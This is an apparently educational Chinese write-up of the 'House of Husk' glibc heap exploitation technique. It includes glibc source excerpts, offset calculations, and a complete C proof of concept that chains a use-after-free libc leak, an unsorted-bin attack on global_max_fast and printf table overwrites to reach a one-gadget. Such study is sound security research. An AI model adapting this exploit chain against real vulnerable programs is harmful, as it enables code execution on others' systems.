回炉重修之house of husk 带源码深度解析
字数 1704 2025-08-22 12:22:36

House of Husk 利用技术深度解析

概述

House of Husk 是一种针对 glibc 中 printf 函数家族的利用技术,适用于 glibc 2.23 到 2.35 版本。该技术通过劫持 printf 的自定义格式化字符串处理机制,实现任意代码执行。

利用条件

  1. 能够向 __printf_function_table 中写入任意数据,使其不为空
  2. 能够向 __printf_arginfo_table 中写入一个可控地址
  3. 通过条件2,使 __printf_arginfo_table[spec] 指向后门函数或 one-gadget 地址

技术原理

printf 函数调用链

  1. printf -> vfprintf

    int __printf (const char *format, ...) {
        va_list arg;
        int done;
        va_start (arg, format);
        done = vfprintf (stdout, format, arg);
        va_end (arg);
        return done;
    }
    
  2. vfprintf -> do_positional

    if (__glibc_unlikely (__printf_function_table != NULL || 
                          __printf_modifier_table != NULL || 
                          __printf_va_arg_table != NULL))
        goto do_positional;
    
  3. do_positional -> printf_positional

    do_positional:
        done = printf_positional(s, format, readonly_format, ap, &ap_save, 
                                done, nspecs_done, lead_str_end, 
                                work_buffer, save_errno, grouping, thousands_sep);
    
  4. printf_positional -> __parse_one_specmb

    #ifdef COMPILE_WPRINTF
        nargs += __parse_one_specwc (f, nargs, &specs[nspecs], &max_ref_arg);
    #else
        nargs += __parse_one_specmb (f, nargs, &specs[nspecs], &max_ref_arg);
    #endif
    

关键劫持点

__parse_one_specmb 函数中:

if (__builtin_expect (__printf_function_table == NULL, 1) ||
    spec->info.spec > UCHAR_MAX ||
    __printf_arginfo_table[spec->info.spec] == NULL)
    /* 正常处理 */
else
    /* 关键调用 */
    spec->ndata_args = (*__printf_arginfo_table[spec->info.spec])
                       (&spec->info, 1, &spec->data_arg_type, &spec->size);

注册机制

glibc 提供了 __register_printf_specifier 函数用于注册自定义格式化字符:

int __register_printf_specifier(int spec, printf_function converter, 
                               printf_arginfo_size_function arginfo) {
    if (spec < 0 || spec > (int) UCHAR_MAX) {
        __set_errno (EINVAL);
        return -1;
    }
    
    __libc_lock_lock (lock);
    if (__printf_function_table == NULL) {
        __printf_arginfo_table = (printf_arginfo_size_function **) 
            calloc(UCHAR_MAX + 1, sizeof(void *) * 2);
        if (__printf_arginfo_table == NULL) {
            result = -1;
            goto out;
        }
        __printf_function_table = (printf_function **) 
            (__printf_arginfo_table + UCHAR_MAX + 1);
    }
    
    __printf_function_table[spec] = converter;
    __printf_arginfo_table[spec] = arginfo;
    
out:
    __libc_lock_unlock (lock);
    return result;
}

利用步骤

POC 分析

#include <stdio.h>
#include <stdlib.h>

#define offset2size(ofs) ((ofs) * 2 - 0x10)
#define MAIN_ARENA 0x3ebc40
#define MAIN_ARENA_DELTA 0x60
#define GLOBAL_MAX_FAST 0x3ed940
#define PRINTF_FUNCTABLE 0x3f0658
#define PRINTF_ARGINFO 0x3ec870
#define ONE_GADGET 0x10a38c

int main(void) {
    unsigned long libc_base;
    char *a[10];
    setbuf(stdout, NULL);
    
    /* leak libc */
    a[0] = malloc(0x500); /* UAF chunk */
    a[1] = malloc(offset2size(PRINTF_FUNCTABLE - MAIN_ARENA));
    a[2] = malloc(offset2size(PRINTF_ARGINFO - MAIN_ARENA));
    a[3] = malloc(0x500); /* avoid consolidation */
    free(a[0]);
    libc_base = *(unsigned long*)a[0] - MAIN_ARENA - MAIN_ARENA_DELTA;
    printf("libc @ 0x%lx\n", libc_base);
    
    /* prepare fake printf arginfo table */
    *(unsigned long*)(a[2] + ('X' - 2) * 8) = libc_base + ONE_GADGET;
    
    /* unsorted bin attack */
    *(unsigned long*)(a[0] + 8) = libc_base + GLOBAL_MAX_FAST - 0x10;
    a[0] = malloc(0x500); /* overwrite global_max_fast */
    
    /* overwrite __printf_arginfo_table and __printf_function_table */
    free(a[1]); // __printf_function_table => a heap_addr which is not NULL
    free(a[2]); // __printf_arginfo_table => one_gadget
    
    /* ignite! */
    printf("%X", 0);
    return 0;
}

详细步骤

  1. 泄露 libc 地址

    • 分配一个大 chunk (0x500) 并释放,通过 UAF 读取 main_arena 地址
    • 计算 libc 基址:libc_base = leak_addr - MAIN_ARENA - MAIN_ARENA_DELTA
  2. 准备伪造的 printf arginfo 表

    • 在堆上准备伪造的 arginfo 表,设置 arginfo_table['X'] = one_gadget
  3. unsorted bin 攻击

    • 修改 free chunk 的 bk 指针指向 global_max_fast - 0x10
    • 重新分配 chunk 触发 unsorted bin 攻击,覆盖 global_max_fast 为一个很大的值
  4. 覆盖 printf 相关表

    • 释放特定大小的 chunk,利用 fastbin 机制覆盖:
      • __printf_function_table 为堆地址(使其不为 NULL)
      • __printf_arginfo_table 指向伪造的 arginfo 表
  5. 触发利用

    • 调用 printf("%X", 0),触发自定义格式化字符处理
    • 执行 arginfo_table['X'] 指向的 one-gadget

偏移计算

  • main_arena+8 = 0x7ffff7dcfc48
  • __printf_function_table = 0x7ffff7dd4658
    • offset1 = 0x4A10 = (0x9430 / 2 - 0x10 + 8)
  • __printf_arginfo_table = 0x7ffff7dd0870
    • offset2 = 0xC28 = (0x1860 / 2 - 0x10 + 8)

关键点总结

  1. global_max_fast 覆盖:通过 unsorted bin 攻击将 global_max_fast 设置为很大的值,使所有释放的 chunk 都进入 fastbin

  2. fastbin 分配策略:fastbin 的堆块地址会从 main_arena+8 开始按大小顺序存放

  3. 表项覆盖:精心计算 chunk 大小,使得释放后其地址正好覆盖到目标表项

  4. 格式化字符选择:选择一个不常用的格式化字符(如 'X')进行劫持,避免影响正常功能

  5. 调用链触发:确保 __printf_function_table 不为 NULL 以进入非标准处理路径

防御措施

  1. 更新到最新版 glibc
  2. 检查并限制对 printf 相关全局变量的写操作
  3. 使用 printf 时避免使用不受信任的格式化字符串

该技术展示了如何通过精心控制堆布局和 glibc 内部数据结构,利用 printf 的自定义格式化功能实现代码执行,是一种高级的堆利用技术。

House of Husk 利用技术深度解析 概述 House of Husk 是一种针对 glibc 中 printf 函数家族的利用技术,适用于 glibc 2.23 到 2.35 版本。该技术通过劫持 printf 的自定义格式化字符串处理机制,实现任意代码执行。 利用条件 能够向 __printf_function_table 中写入任意数据,使其不为空 能够向 __printf_arginfo_table 中写入一个可控地址 通过条件2,使 __printf_arginfo_table[spec] 指向后门函数或 one-gadget 地址 技术原理 printf 函数调用链 printf -> vfprintf vfprintf -> do_ positional do_ positional -> printf_ positional printf_ positional -> __ parse_ one_ specmb 关键劫持点 在 __parse_one_specmb 函数中: 注册机制 glibc 提供了 __register_printf_specifier 函数用于注册自定义格式化字符: 利用步骤 POC 分析 详细步骤 泄露 libc 地址 分配一个大 chunk (0x500) 并释放,通过 UAF 读取 main_ arena 地址 计算 libc 基址: libc_base = leak_addr - MAIN_ARENA - MAIN_ARENA_DELTA 准备伪造的 printf arginfo 表 在堆上准备伪造的 arginfo 表,设置 arginfo_table['X'] = one_gadget unsorted bin 攻击 修改 free chunk 的 bk 指针指向 global_max_fast - 0x10 重新分配 chunk 触发 unsorted bin 攻击,覆盖 global_max_fast 为一个很大的值 覆盖 printf 相关表 释放特定大小的 chunk,利用 fastbin 机制覆盖: __printf_function_table 为堆地址(使其不为 NULL) __printf_arginfo_table 指向伪造的 arginfo 表 触发利用 调用 printf("%X", 0) ,触发自定义格式化字符处理 执行 arginfo_table['X'] 指向的 one-gadget 偏移计算 main_arena+8 = 0x7ffff7dcfc48 __printf_function_table = 0x7ffff7dd4658 offset1 = 0x4A10 = (0x9430 / 2 - 0x10 + 8) __printf_arginfo_table = 0x7ffff7dd0870 offset2 = 0xC28 = (0x1860 / 2 - 0x10 + 8) 关键点总结 global_ max_ fast 覆盖 :通过 unsorted bin 攻击将 global_ max_ fast 设置为很大的值,使所有释放的 chunk 都进入 fastbin fastbin 分配策略 :fastbin 的堆块地址会从 main_ arena+8 开始按大小顺序存放 表项覆盖 :精心计算 chunk 大小,使得释放后其地址正好覆盖到目标表项 格式化字符选择 :选择一个不常用的格式化字符(如 'X')进行劫持,避免影响正常功能 调用链触发 :确保 __printf_function_table 不为 NULL 以进入非标准处理路径 防御措施 更新到最新版 glibc 检查并限制对 printf 相关全局变量的写操作 使用 printf 时避免使用不受信任的格式化字符串 该技术展示了如何通过精心控制堆布局和 glibc 内部数据结构,利用 printf 的自定义格式化功能实现代码执行,是一种高级的堆利用技术。